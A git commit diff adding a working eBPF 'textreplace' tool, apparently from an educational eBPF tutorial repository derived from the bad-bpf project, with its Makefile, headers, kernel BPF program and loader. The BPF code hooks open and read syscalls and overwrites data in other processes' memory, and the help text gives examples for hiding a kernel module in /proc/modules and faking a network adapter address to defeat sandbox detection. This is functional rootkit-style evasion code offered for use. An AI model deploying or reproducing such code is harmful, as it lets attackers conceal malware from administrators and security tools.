add code for hide signal sudo and replace

This commit is contained in:
yunwei37
2023-05-31 00:18:31 +08:00
committed by 云微
parent e71352c29b
commit fe3dfa9aca
29 changed files with 2743 additions and 0 deletions

9
src/27-replace/.gitignore vendored Normal file
View File

@@ -0,0 +1,9 @@
.vscode
package.json
*.o
*.skel.json
*.skel.yaml
package.yaml
ecli
bootstrap
textreplace2

29
src/27-replace/LICENSE Normal file
View File

@@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2020, Andrii Nakryiko
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

141
src/27-replace/Makefile Normal file
View File

@@ -0,0 +1,141 @@
# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
OUTPUT := .output
CLANG ?= clang
LIBBPF_SRC := $(abspath ../../libbpf/src)
BPFTOOL_SRC := $(abspath ../../bpftool/src)
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool)
BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool
LIBBLAZESYM_SRC := $(abspath ../../blazesym/)
LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a)
LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h)
ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \
| sed 's/arm.*/arm/' \
| sed 's/aarch64/arm64/' \
| sed 's/ppc64le/powerpc/' \
| sed 's/mips.*/mips/' \
| sed 's/riscv64/riscv/' \
| sed 's/loongarch64/loongarch/')
VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h
# Use our own libbpf API headers and Linux UAPI headers distributed with
# libbpf to avoid dependency on system-wide headers, which could be missing or
# outdated
INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX))
CFLAGS := -g -Wall
ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS)
APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall
CARGO ?= $(shell which cargo)
ifeq ($(strip $(CARGO)),)
BZS_APPS :=
else
BZS_APPS := # profile
APPS += $(BZS_APPS)
# Required by libblazesym
ALL_LDFLAGS += -lrt -ldl -lpthread -lm
endif
# Get Clang's default includes on this system. We'll explicitly add these dirs
# to the includes list when compiling with `-target bpf` because otherwise some
# architecture-specific dirs will be "missing" on some architectures/distros -
# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h,
# sys/cdefs.h etc. might be missing.
#
# Use '-idirafter': Don't interfere with include mechanics except where the
# build would have failed anyways.
CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - </dev/null 2>&1 \
| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }')
ifeq ($(V),1)
Q =
msg =
else
Q = @
msg = @printf ' %-8s %s%s\n' \
"$(1)" \
"$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \
"$(if $(3), $(3))";
MAKEFLAGS += --no-print-directory
endif
define allow-override
$(if $(or $(findstring environment,$(origin $(1))),\
$(findstring command line,$(origin $(1)))),,\
$(eval $(1) = $(2)))
endef
$(call allow-override,CC,$(CROSS_COMPILE)cc)
$(call allow-override,LD,$(CROSS_COMPILE)ld)
.PHONY: all
all: $(APPS)
.PHONY: clean
clean:
$(call msg,CLEAN)
$(Q)rm -rf $(OUTPUT) $(APPS)
$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT):
$(call msg,MKDIR,$@)
$(Q)mkdir -p $@
# Build libbpf
$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf
$(call msg,LIB,$@)
$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \
OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \
INCLUDEDIR= LIBDIR= UAPIDIR= \
install
# Build bpftool
$(BPFTOOL): | $(BPFTOOL_OUTPUT)
$(call msg,BPFTOOL,$@)
$(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap
$(LIBBLAZESYM_SRC)/target/release/libblazesym.a::
$(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release
$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB, $@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@
$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB,$@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@
# Build BPF code
$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL)
$(call msg,BPF,$@)
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \
$(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \
-c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
$(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
# Generate BPF skeletons
$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL)
$(call msg,GEN-SKEL,$@)
$(Q)$(BPFTOOL) gen skeleton $< > $@
# Build user-space code
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@
$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER)
$(BZS_APPS): $(LIBBLAZESYM_OBJ)
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@
# delete failed targets
.DELETE_ON_ERROR:
# keep intermediate (.skel.h, .bpf.o, etc) targets
.SECONDARY:

35
src/27-replace/common.h Normal file
View File

@@ -0,0 +1,35 @@
// SPDX-License-Identifier: BSD-3-Clause
#ifndef BAD_BPF_COMMON_H
#define BAD_BPF_COMMON_H
// These are used by a number of
// different programs to sync eBPF Tail Call
// login between user space and kernel
#define PROG_00 0
#define PROG_01 1
#define PROG_02 2
// Used when replacing text
#define FILENAME_LEN_MAX 50
#define TEXT_LEN_MAX 20
// Simple message structure to get events from eBPF Programs
// in the kernel to user spcae
#define TASK_COMM_LEN 16
struct event {
int pid;
char comm[TASK_COMM_LEN];
bool success;
};
struct tr_file {
char filename[FILENAME_LEN_MAX];
unsigned int filename_len;
};
struct tr_text {
char text[TEXT_LEN_MAX];
unsigned int text_len;
};
#endif // BAD_BPF_COMMON_H

View File

@@ -0,0 +1,96 @@
// SPDX-License-Identifier: BSD-3-Clause
#ifndef BAD_BPF_COMMON_UM_H
#define BAD_BPF_COMMON_UM_H
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <unistd.h>
#include <signal.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
static volatile sig_atomic_t exiting;
void sig_int(int signo)
{
exiting = 1;
}
static bool setup_sig_handler() {
// Add handlers for SIGINT and SIGTERM so we shutdown cleanly
__sighandler_t sighandler = signal(SIGINT, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
sighandler = signal(SIGTERM, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
return true;
}
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
return vfprintf(stderr, format, args);
}
static bool bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n");
return false;
}
return true;
}
static bool setup() {
// Set up libbpf errors and debug info callback
libbpf_set_print(libbpf_print_fn);
// Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything
if (!bump_memlock_rlimit()) {
return false;
};
// Setup signal handler so we exit cleanly
if (!setup_sig_handler()) {
return false;
}
return true;
}
#ifdef BAD_BPF_USE_TRACE_PIPE
static void read_trace_pipe(void) {
int trace_fd;
trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0);
if (trace_fd == -1) {
printf("Error opening trace_pipe: %s\n", strerror(errno));
return;
}
while (!exiting) {
static char buf[4096];
ssize_t sz;
sz = read(trace_fd, buf, sizeof(buf) -1);
if (sz > 0) {
buf[sz] = '\x00';
puts(buf);
}
}
}
#endif // BAD_BPF_USE_TRACE_PIPE
#endif // BAD_BPF_COMMON_UM_H

View File

@@ -0,0 +1,336 @@
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "common.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// Map to hold the File Descriptors from 'openat' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, unsigned int);
} map_fds SEC(".maps");
// Map to fold the buffer sized from 'read' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buff_addrs SEC(".maps");
// Map to fold the buffer sized from 'read' calls
// NOTE: This should probably be a map-of-maps, with the top-level
// key bing pid_tgid, so we know we're looking at the right program
#define MAX_POSSIBLE_ADDRS 500
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_name_addrs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_to_replace_addrs SEC(".maps");
// Map holding the programs for tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(".maps");
// Optional Target Parent PID
const volatile int target_ppid = 0;
// These store the name of the file to replace text in
const int filename_len_max = 50;
const volatile int filename_len = 0;
const volatile char filename[filename_len_max];
// These store the text to find and replace in the file
const unsigned int text_len_max = 20;
const volatile unsigned int text_len = 0;
const volatile char text_find[filename_len_max];
const volatile char text_replace[filename_len_max];
SEC("tp/syscalls/sys_exit_close")
int handle_close_exit(struct trace_event_raw_sys_exit *ctx)
{
// Check if we're a process thread of interest
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
// Closing file, delete fd from all maps to clean up
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}
SEC("tp/syscalls/sys_enter_openat")
int handle_openat_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Get filename from arguments
char check_filename[filename_len_max];
bpf_probe_read_user(&check_filename, filename_len, (char*)ctx->args[1]);
// Check filename is our target
for (int i = 0; i < filename_len; i++) {
if (filename[i] != check_filename[i]) {
return 0;
}
}
// Add pid_tgid to map for our sys_exit call
unsigned int zero = 0;
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
bpf_printk("[TEXT_REPLACE] PID %d Filename %s\n", pid, filename);
return 0;
}
SEC("tp/syscalls/sys_exit_openat")
int handle_openat_exit(struct trace_event_raw_sys_exit *ctx)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
int pid = pid_tgid >> 32;
// Set the map value to be the returned file descriptor
unsigned int fd = (unsigned int)ctx->ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
SEC("tp/syscalls/sys_enter_read")
int handle_read_enter(struct trace_event_raw_sys_enter *ctx)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) {
return 0;
}
// Check this is the correct file descriptor
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)ctx->args[0];
if (map_fd != fd) {
return 0;
}
// Store buffer address from arguments in map
long unsigned int buff_addr = ctx->args[1];
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
// log and exit
size_t buff_size = (size_t)ctx->args[2];
bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr);
bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size);
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int find_possible_addrs(struct trace_event_raw_sys_exit *ctx)
{
// Check this open call is reading our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int buff_addr = *pbuff_addr;
long unsigned int name_addr = 0;
if (buff_addr <= 0) {
return 0;
}
// This is amount of data returned from the read syscall
if (ctx->ret <= 0) {
return 0;
}
long int buff_size = ctx->ret;
long int read_size = buff_size;
bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr);
// 64 may be to large for loop
const unsigned int local_buff_size = 32;
const unsigned int loop_size = 32;
char local_buff[local_buff_size] = { 0x00 };
if (read_size > (local_buff_size+1)) {
// Need to loop :-(
read_size = local_buff_size;
}
// Read the data returned in chunks, and note every instance
// of the first character of our 'to find' text.
// This is all very convoluted, but is required to keep
// the program complexity and size low enough the pass the verifier checks
unsigned int tofind_counter = 0;
for (unsigned int i = 0; i < loop_size; i++) {
// Read in chunks from buffer
bpf_probe_read(&local_buff, read_size, (void*)buff_addr);
for (unsigned int j = 0; j < local_buff_size; j++) {
// Look for the first char of our 'to find' text
if (local_buff[j] == text_find[0]) {
name_addr = buff_addr+j;
// This is possibly out text, add the address to the map to be
// checked by program 'check_possible_addrs'
bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY);
tofind_counter++;
}
}
buff_addr += local_buff_size;
}
// Tail-call into 'check_possible_addrs' to loop over possible addresses
bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter);
bpf_tail_call(ctx, &map_prog_array, PROG_01);
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int check_possible_addresses(struct trace_event_raw_sys_exit *ctx) {
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int newline_counter = 0;
unsigned int match_counter = 0;
char name[text_len_max+1];
unsigned int j = 0;
char old = 0;
const unsigned int name_len = text_len;
if (name_len < 0) {
return 0;
}
if (name_len > text_len_max) {
return 0;
}
// Go over every possibly location
// and check if it really does match our text
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
newline_counter = i;
pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
bpf_probe_read_user(&name, text_len_max, (char*)name_addr);
for (j = 0; j < text_len_max; j++) {
if (name[j] != text_find[j]) {
break;
}
}
if (j >= name_len) {
// ***********
// We've found out text!
// Add location to map to be overwritten
// ***********
bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY);
match_counter++;
}
bpf_map_delete_elem(&map_name_addrs, &newline_counter);
}
// If we found at least one match, jump into program to overwrite text
if (match_counter > 0) {
bpf_tail_call(ctx, &map_prog_array, PROG_02);
}
return 0;
}
SEC("tp/syscalls/sys_exit_read")
int overwrite_addresses(struct trace_event_raw_sys_exit *ctx) {
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int match_counter = 0;
// Loop over every address to replace text into
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
match_counter = i;
pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
// Attempt to overwrite data with out replace string (minus the end null bytes)
long ret = bpf_probe_write_user((void*)name_addr, (void*)text_replace, text_len);
// Send event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, text_find);
// Clean up map now we're done
bpf_map_delete_elem(&map_to_replace_addrs, &match_counter);
}
return 0;
}

View File

@@ -0,0 +1,202 @@
// SPDX-License-Identifier: BSD-3-Clause
#include <argp.h>
#include <unistd.h>
#include "textreplace.skel.h"
#include "common_um.h"
#include "common.h"
// Setup Argument stuff
#define filename_len_max 50
#define text_len_max 20
static struct env {
char filename[filename_len_max];
char input[filename_len_max];
char replace[filename_len_max];
int target_ppid;
} env;
const char *argp_program_version = "textreplace 1.0";
const char *argp_program_bug_address = "<path@tofile.dev>";
const char argp_program_doc[] =
"Text Replace\n"
"\n"
"Replaces text in a file.\n"
"To pass in newlines use \%'\\n' e.g.:\n"
" ./textreplace -f /proc/modules -i ppdev -r $'aaaa\\n'"
"\n"
"USAGE: ./textreplace -f filename -i input -r output [-t 1111]\n"
"EXAMPLES:\n"
"Hide kernel module:\n"
" ./textreplace -f /proc/modules -i 'joydev' -r 'cryptd'\n"
"Fake Ethernet adapter (used in sandbox detection): \n"
" ./textreplace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' \n"
"";
static const struct argp_option opts[] = {
{ "filename", 'f', "FILENAME", 0, "Path to file to replace text in" },
{ "input", 'i', "INPUT", 0, "Text to be replaced in file, max 20 chars" },
{ "replace", 'r', "REPLACE", 0, "Text to replace with in file, must be same size as -t" },
{ "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
switch (key) {
case 'i':
if (strlen(arg) >= text_len_max) {
fprintf(stderr, "Text must be less than %d characters\n", filename_len_max);
argp_usage(state);
}
strncpy(env.input, arg, sizeof(env.input));
break;
case 'r':
if (strlen(arg) >= text_len_max) {
fprintf(stderr, "Text must be less than %d characters\n", filename_len_max);
argp_usage(state);
}
strncpy(env.replace, arg, sizeof(env.replace));
break;
case 'f':
if (strlen(arg) >= filename_len_max) {
fprintf(stderr, "Filename must be less than %d characters\n", filename_len_max);
argp_usage(state);
}
strncpy(env.filename, arg, sizeof(env.filename));
break;
case 't':
errno = 0;
env.target_ppid = strtol(arg, NULL, 10);
if (errno || env.target_ppid <= 0) {
fprintf(stderr, "Invalid pid: %s\n", arg);
argp_usage(state);
}
break;
case ARGP_KEY_ARG:
argp_usage(state);
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e->success)
printf("Replaced text in PID %d (%s)\n", e->pid, e->comm);
else
printf("Failed to replace text in PID %d (%s)\n", e->pid, e->comm);
return 0;
}
int main(int argc, char **argv)
{
struct ring_buffer *rb = NULL;
struct textreplace_bpf *skel;
int err;
// Parse command line arguments
err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
if (err) {
return err;
}
if (env.filename[0] == '\x00' || env.input[0] == '\x00' || env.replace[0] == '\x00') {
printf("ERROR: filename, input, and replace all requried, see %s --help\n", argv[0]);
exit(1);
}
if (strlen(env.input) != strlen(env.replace)) {
printf("ERROR: input and replace text must be the same length\n");
exit(1);
}
// Do common setup
if (!setup()) {
exit(1);
}
// Open BPF application
skel = textreplace_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
return 1;
}
// Let bpf program know our pid so we don't get kiled by it
strncpy(skel->rodata->filename, env.filename, sizeof(skel->rodata->filename));
skel->rodata->filename_len = strlen(env.filename);
skel->rodata->target_ppid = env.target_ppid;
strncpy(skel->rodata->text_find, env.input, sizeof(skel->rodata->text_find));
strncpy(skel->rodata->text_replace, env.replace, sizeof(skel->rodata->text_replace));
skel->rodata->text_len = strlen(env.input);
// Verify and load program
err = textreplace_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
// Add program to map so we can call it later
int index = PROG_01;
int prog_fd = bpf_program__fd(skel->progs.check_possible_addresses);
int ret = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_prog_array),
&index,
&prog_fd,
BPF_ANY);
if (ret == -1) {
printf("Failed to add program to prog array! %s\n", strerror(errno));
goto cleanup;
}
index = PROG_02;
prog_fd = bpf_program__fd(skel->progs.overwrite_addresses);
ret = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_prog_array),
&index,
&prog_fd,
BPF_ANY);
if (ret == -1) {
printf("Failed to add program to prog array! %s\n", strerror(errno));
goto cleanup;
}
// Attach tracepoint handler
err = textreplace_bpf__attach( skel);
if (err) {
fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno));
goto cleanup;
}
// Set up ring buffer
rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
printf("Successfully started!\n");
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR) {
err = 0;
break;
}
if (err < 0) {
printf("Error polling perf buffer: %d\n", err);
break;
}
}
cleanup:
textreplace_bpf__destroy( skel);
return -err;
}